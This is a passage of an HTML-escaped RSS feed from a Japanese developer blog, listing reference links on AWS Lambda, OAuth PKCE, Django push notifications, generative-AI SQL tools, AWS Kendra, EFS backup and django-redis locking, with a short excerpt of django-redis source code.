&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/lambda/latest/dg/images-test.html"&gt;Lambda コンテナイメージをローカルでテストする&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/lambda/latest/dg/python-image.html#python-image-instructions"&gt;コンテナイメージで Python Lambda 関数をデプロイする&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kyamamoto9120/items/f1cda89ffc7cb5254f17"&gt;コンテナイメージを使用して AWS Lambda 関数を作成する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>OAuth: PKCE</title><link>https://hdknr.github.io/blogs/posts/2024/02/oauth-pkce/</link><pubDate>Wed, 28 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/oauth-pkce/</guid><description>&lt;h1 id="oauth-pkce"&gt;OAuth PKCE&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.liip.ch/en/blog/authorization-code-with-pkce-on-django-using-django-oauth-toolkit"&gt;Authorization Code with PKCE on Django using django-oauth-toolkit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#pkce-required"&gt;PKCE_REQUIRED&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tex2e.github.io/rfc-translater/html/rfc7636.html"&gt;RFC 7636 - Proof Key for Code Exchange by OAuth Public Clients 日本語訳&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django: Push Notification</title><link>https://hdknr.github.io/blogs/posts/2024/02/django-push-notification/</link><pubDate>Tue, 27 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/django-push-notification/</guid><description>&lt;h1 id="django-push-notification"&gt;Django: Push Notification&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-push-notifications"&gt;https://github.com/jazzband/django-push-notifications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xtrinch/fcm-django"&gt;https://github.com/xtrinch/fcm-django&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="apns-apple"&gt;APNS (Apple)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://repro.io/contents/ios-remote-push-notifications-in-a-nutshell/"&gt;APNs とは？設定と実装方法を解説！&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-push-notifications/blob/master/docs/APNS.rst"&gt;Generation of an APNS PEM file&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.apple.com/documentation/usernotifications/setting_up_a_remote_notification_server/establishing_a_token-based_connection_to_apns"&gt;Establishing a token-based connection to APNs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="fcmgcmgoogle"&gt;FCM/GCM(Google)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tech-blog.rakus.co.jp/entry/20210326/firebase"&gt;Firebase でローコードなプッシュ通知を実装してみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web-push"&gt;Web Push&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/safwanrahman/django-webpush"&gt;https://github.com/safwanrahman/django-webpush&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/web-push-libs/pywebpush"&gt;https://github.com/web-push-libs/pywebpush&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-push-notifications"&gt;https://github.com/jazzband/django-push-notifications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/elishowk/django-webpush-demo"&gt;https://github.com/elishowk/django-webpush-demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.monotalk.xyz/blog/django-push-notifications-%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6web-push-%E9%80%9A%E7%9F%A5%E3%82%92%E5%AE%9F%E8%A3%85%E3%81%99%E3%82%8B/"&gt;django-push-notifications を使って、Web Push 通知を実装する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/tomoyukilabs/items/217915676603fda73b0a"&gt;Web Push でブラウザにプッシュ通知を送ってみる&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.casleydi.com/blog/engineer/293/"&gt;ブラウザでプッシュ通知を実装してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/tomokisato/articles/f82dcf5a4850a1"&gt;Web Push のサーバーサイドの処理〜VAPID と Message Encription を中心に〜&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.niftylifestyle.co.jp/entry/1152"&gt;iOS16.4 から iOS の Safari でも Web プッシュが受け取れるようになったので AWS の機能でも試してみた！ – 前編 (ローカルでの Web プッシュ通知と PWA 化)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.niftylifestyle.co.jp/entry/1151"&gt;iOS16.4 から iOS の Safari でも Web プッシュが受け取れるようになったので AWS の機能でも試してみた！ – 後編 (リモートでの Web プッシュ通知)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Spec:&lt;/p&gt;</description></item><item><title>ChatGPT: PowerPoint生成</title><link>https://hdknr.github.io/blogs/posts/2024/02/chatgpt-powerpoint%E7%94%9F%E6%88%90/</link><pubDate>Wed, 21 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/chatgpt-powerpoint%E7%94%9F%E6%88%90/</guid><description>&lt;h1 id="chatgpt-powerpoint-生成"&gt;CHatGPT PowerPoint 生成&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/copilotkit/how-to-build-ai-powered-powerpoint-app-nextjs-openai-copilotkit-ji2"&gt;How to build: an AI PowerPoint generator (Next.js, OpenAI, CopilotKit)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/CopilotKit/CopilotKit"&gt;https://github.com/CopilotKit/CopilotKit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ChatGPT: SQL 生成</title><link>https://hdknr.github.io/blogs/posts/2024/02/chatgpt-sql-%E7%94%9F%E6%88%90/</link><pubDate>Thu, 15 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/chatgpt-sql-%E7%94%9F%E6%88%90/</guid><description>&lt;h1 id="chatgpt-sql-生成"&gt;ChatGPT SQL 生成&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/ademakdogan/ChatSQL"&gt;https://github.com/ademakdogan/ChatSQL&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: Kendra</title><link>https://hdknr.github.io/blogs/posts/2024/02/aws-kendra/</link><pubDate>Tue, 13 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/aws-kendra/</guid><description>&lt;h1 id="aws-kendra"&gt;AWS: Kendra&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/kendra/"&gt;https://aws.amazon.com/jp/kendra/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/aws-samples/aws-genai-llm-chatbot"&gt;https://github.com/aws-samples/aws-genai-llm-chatbot&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/sugimount-a/items/50370d5781b634bb8d3b"&gt;Amazon Kendra を触ってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/builders-flash/202302/kendra-search-system/?awsf.filter-name=*all"&gt;Amazon Kendra で簡単に検索システムを作ってみよう !&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Video:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=iFqe0lDEq4w"&gt;Amazon Kendra による文書からの日本語セマンティック検索&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/kendra/latest/dg/hiw-data-source.html"&gt;データソース&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>生成AI（ジェネレーティブAI）</title><link>https://hdknr.github.io/blogs/posts/2024/02/%E7%94%9F%E6%88%90ai%E3%82%B8%E3%82%A7%E3%83%8D%E3%83%AC%E3%83%BC%E3%83%86%E3%82%A3%E3%83%96ai/</link><pubDate>Fri, 02 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/%E7%94%9F%E6%88%90ai%E3%82%B8%E3%82%A7%E3%83%8D%E3%83%AC%E3%83%BC%E3%83%86%E3%82%A3%E3%83%96ai/</guid><description>&lt;h1 id="生成-aiジェネレーティブ-aigenai"&gt;生成 AI（ジェネレーティブ AI/GenAI）&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.softbank.jp/biz/solutions/generative-ai/"&gt;Softbank&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/moritata9/items/f1f8538b559a007217af"&gt;データマネジメントと生成 AI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://japan.zdnet.com/article/35205383/"&gt;Snowflake の製品管理担当幹部が考える「生成 AI×DWH」の新たな可能性&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://it.impress.co.jp/articles/-/24702"&gt;AI 活用で目指すべきは“脱 DWH” データレイクと DWH のデータを統合管理する真の“データ活用”時代の「レイクハウス」&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.meti.go.jp/press/2023/02/20240202003/20240202003.html"&gt;生成 AI の開発力強化に向けたプロジェクト「GENIAC」を開始します&lt;/a&gt; （Generative AI Accelerator Challenge）&lt;/li&gt;
&lt;li&gt;&lt;a href="https://xtech.nikkei.com/atcl/nxt/news/18/15261/"&gt;Microsoft がデータ分析基盤「Fabric」発表、DWH・AI・ストリーム分析を統合&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="プログラミングコード生成-ai"&gt;プログラミングコード生成 AI&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;GitHub Copilot&lt;/li&gt;
&lt;li&gt;Amazon CodeWhisperer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bigquery"&gt;BigQuery&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developers.cyberagent.co.jp/blog/archives/45241/"&gt;総合職の新卒 1 年目が、自社のデータ構造に合わせた SQL 生成 AI を作ってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/YoshinagaYuta/items/643b40b3600304958800"&gt;BigQuery からデータを抽出して生成 AI に分析してもらうまでが SQL で完結する手順&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="amazon-redshiftamazon-q-generative-sql"&gt;Amazon Redshift/Amazon Q generative SQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/sasashu/articles/b00e41a92f707e"&gt;自然言語から SQL のクエリ生成ができる Amazon Q generative SQL を触ってみた（プレビュー）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/20231130-amazon-redshift-amazon-q-generative-sql/"&gt;[速報] Amazon Redshift クエリエディタが Amazon Q generative SQL の新機能が発表されました（プレビュー） #AWSreInvent&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="amazon-bedrock"&gt;Amazon Bedrock&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;LLM: Claude 2&lt;/li&gt;
&lt;li&gt;&lt;a href="https://textcortex.com/ja/post/claude-2-vs-gpt-4"&gt;アンソロピックのクロード 2 Vs GPT-4（徹底比較）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/minorun365/items/fbbd26a71b4e72fc883c"&gt;OpenAI の GPT シリーズと Bedrock の Claude をコスト比較してみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pingcaptidb"&gt;PingCAP/TiDB&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pingcap.co.jp/chat2query-ai-powered-sql-generator/"&gt;ChatGPT を搭載した革新的な SQL ジェネレータ「Chat2Query」とは&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://recruit.gmo.jp/engineer/jisedai/blog/chatgpt-x-mysql-shell/"&gt;ChatGPT × MySQL Shell：SQL を AI に考えてもらうプラグイン&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="azure"&gt;Azure&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/masakikato/articles/azure-openai-prompt-sql"&gt;Azure Open AI Service で SQL を生成するプロンプト例&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.mynavi.jp/techplus/article/20231214-2841323/"&gt;日本語プロンプト指示で SQL 文を生成できるデータベース開発支援ツール - システムインテグレータ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="fabric"&gt;Fabric&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="ttps://learn.microsoft.com/ja-jp/fabric/get-started/microsoft-fabric-overview"&gt;Microsoft Fabric とは&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://learn.microsoft.com/ja-jp/fabric/data-warehouse/data-warehousing"&gt;Microsoft Fabric のデータ ウェアハウスとは&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/ryoma-nagata/items/daeebd71e40312a42e22"&gt;Microsoft Fabric の組み込みの AI モデルで自然言語に対する解析・分析をしてみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="snowflake"&gt;Snowflake&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.snowflake.com/blog/https-www-snowflake-com-blog-generative-ai-llms-summit-2023/?lang=ja"&gt;Gen AI と LLM をデータに導入しよう&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/morph_db/n/nd31bd136a23d"&gt;AI 機能を使って、SQL なしで Snowflake のデータを分析する方法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.snowflake.com/blog/https-www-snowflake-com-blog-snowpark-container-services-deploy-genai-full-stack-apps/?lang=ja"&gt;Snowpark Container Services:Snowflake で洗練された生成 AI とフルスタック アプリを安全に展開して実行する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.snowflake.com/blog/use-ai-snowflake-cortex/?lang=ja"&gt;Snowflake Cortex で AI を数秒で使用&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.snowflake.com/ja/guides-overview-ml-powered-functions"&gt;Snowflake Cortex ML ベースの関数&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/motoy3d/items/3104b1d67368bbd09d93"&gt;Snowflake Cortex について調べてたら凄いワクワクしてきた！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="morph"&gt;Morph&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.morphdb.io/"&gt;https://www.morphdb.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/morph_db/n/n63286393c2c2"&gt;データのための、Notion や Figma のようなツールをつくりたい&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/morph_db/n/n0e41edc71e9b"&gt;Figma や Miro のように直感的なデータ分析体験を！Canvas 機能のご紹介&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: EFS: バックアップ</title><link>https://hdknr.github.io/blogs/posts/2024/01/aws-efs-%E3%83%90%E3%83%83%E3%82%AF%E3%82%A2%E3%83%83%E3%83%97/</link><pubDate>Fri, 05 Jan 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/01/aws-efs-%E3%83%90%E3%83%83%E3%82%AF%E3%82%A2%E3%83%83%E3%83%97/</guid><description>&lt;h1 id="efs-バックアップ"&gt;EFS バックアップ&lt;/h1&gt;
&lt;h2 id="aws-backup"&gt;AWS Backup&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/awsform/blob/main/terraform/modules/backups/main.tf"&gt;https://github.com/hdknr/awsform/blob/main/terraform/modules/backups/main.tf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws-datasync"&gt;AWS DataSync&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://business.ntt-east.co.jp/content/cloudsolution/ih_column-53.html"&gt;AWS DataSync を使って S3 から EFS へデータを転送する！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>django-redis: lock</title><link>https://hdknr.github.io/blogs/posts/2024/01/django-redis-lock/</link><pubDate>Fri, 05 Jan 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/01/django-redis-lock/</guid><description>&lt;h1 id="djanog-redis-cachelock"&gt;djanog-redis: cache.lock&lt;/h1&gt;
&lt;h2 id="lock"&gt;&lt;code&gt;lock&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/cache.py#L177"&gt;https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/cache.py#L177&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RedisCache&lt;/span&gt;(BaseCache):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@omit_exception&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lock&lt;/span&gt;(self, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;client&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;__init__&lt;/span&gt;(self, server: str, params: Dict[str, Any]) &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_client_cls &lt;span style="color:#f92672"&gt;=&lt;/span&gt; options&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;CLIENT_CLASS&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;django_redis.client.DefaultClient&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_client_cls &lt;span style="color:#f92672"&gt;=&lt;/span&gt; import_string(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_client_cls)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_client &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="defaultclient"&gt;DefaultClient&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/client/default.py#L29"&gt;https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/client/default.py#L29&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
